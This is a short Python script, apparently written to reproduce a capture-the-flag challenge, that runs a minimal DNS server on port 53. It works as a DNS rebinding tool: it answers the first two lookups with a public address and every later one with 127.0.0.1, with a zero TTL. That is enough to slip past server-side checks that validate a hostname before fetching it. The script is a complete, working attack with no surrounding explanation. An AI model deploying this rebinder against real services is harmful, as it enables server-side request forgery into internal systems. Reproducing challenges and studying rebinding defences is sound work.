#!/usr/bin/env python3
"""A tiny, local, one-shot DNS rebinder for reproducing the challenge."""

import socket
import struct


seen = 0
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", 53))

while True:
    packet, peer = sock.recvfrom(512)
    if len(packet) < 12:
        continue

    # Walk one uncompressed DNS question and retain its QTYPE/QCLASS .
    cursor = 12
    while cursor < len(packet) and packet[cursor] != 0:
        cursor += packet[cursor] + 1
    end = cursor + 5
    if end > len(packet):
        continue

    seen += 1
    answer_ip = "8.8.8.8" if seen <= 2 else "127.0.0.1"
    header = packet[:2] + b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00"
    answer = b"\xc0\x0c" + struct.pack("!HHIH", 1, 1, 0, 4) + socket.inet_aton(answer_ip)
    sock.sendto(header + packet[12:end] + answer, peer)